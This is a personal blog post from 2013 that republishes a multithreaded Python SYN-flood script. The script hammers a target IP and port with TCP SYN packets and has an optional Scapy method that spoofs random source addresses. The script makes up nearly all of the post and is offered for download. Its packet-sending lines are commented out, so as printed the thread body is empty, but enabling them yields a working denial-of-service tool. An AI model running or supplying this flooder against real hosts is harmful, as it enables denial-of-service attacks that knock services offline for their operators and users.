A Blog About Anime, Code, and Pr0 H4x

SYNFlood.py - A multithreaded SYN Flooder

January 18, 2013 at 12:00 PM

I wrote this script a long time ago when I was just starting to learn about networking basics. During that time, I came across a Python library that makes it easy to craft and manipulate network traffic at a packet level by the name of Scapy.

I wrote this script as a demonstration of a SYN/ACK Three Way Handshake Attack as discussed by Halla of Information Leak in an article that has since mysteriously disappeared from his site. I also mentioned this script in an article I wrote about hacking gibsons or something to that effect, that I have since removed form this site because the writing in it was atrocious. (Well it was written by a ninth grader, so that's not a huge surprise.)

Anyway, aside from searches for the phrase "How can you say you love her if you can't even eat her poop?" (oh yeah, I'm an SEO master), the majority of external search engine hits to my website come from people looking for this script. Therefore, I decided I'd spruce it up a touch, and repost it in all of its glory here.

So without further adieu, gaze and behold!

#!/usr/bin/env python
          #########################################
          #
          # SYNflood.py - A multithreaded SYN Flooder
          # By Brandon Smith
          # brandon.smith@studiobebop.net
          #
          # This script is a demonstration of a SYN/ACK 3 Way Handshake Attack
          # as discussed by Halla of Information Leak
          #
          #########################################
          import socket
          import random
          import sys
          import threading
          #import scapy # Uncomment this if you're planning to use Scapy
          
          ###
          # Global Config
          ###
          
          interface    = None
          target       = None
          port         = None
          thread_limit = 200
          total        = 0
          
          #!# End Global Config #!#
          
          class sendSYN(threading.Thread):
                  global target, port
                  def __init__(self):
                          threading.Thread.__init__(self)
          
                  def run(self):
                          # There are two different ways you can go about pulling this off.
                          # You can either:
                          #   - 1. Just open a socket to your target on any old port
                          #   - 2. Or you can be a cool kid and use scapy to make it look cool, and overcomplicated!
                          #
                          # (Uncomment whichever method you'd like to use)
          
                          # Method 1 -
          #               s = socket.socket()
          #               s.connect((target,port))
          
                          # Methods 2 -
          #               i = scapy.IP()
          #               i.src = "%i.%i.%i.%i" % (random.randint(1,254),random.randint(1,254),random.randint(1,254),random.randint(1,254))
          #               i.dst = target
          
          #               t = scapy.TCP()
          #               t.sport = random.randint(1,65535)
          #               t.dport = port
          #               t.flags = 'S'
          
          #               scapy.send(i/t, verbose=0)
          
          if __name__ == "__main__":
                  # Make sure we have all the arguments we need
                  if len(sys.argv) != 4:
                          print "Usage: %s <Interface> <Target IP> <Port>" % sys.argv[0]
                          exit()
          
                  # Prepare our variables
                  interface        = sys.argv[1]
                  target           = sys.argv[2]
                  port             = int(sys.argv[3])
          #       scapy.conf.iface = interface # Uncomment this if you're going to use Scapy
          
                  # Hop to it!
                  print "Flooding %s:%i with SYN packets." % (target, port)
                  while True:
                          if threading.activeCount() < thread_limit:
                                  sendSYN().start()
                                  total += 1
                                  sys.stdout.write("\rTotal packets sent:\t\t\t%i" % total)
          

Download: SYNFlood.py

Go to Page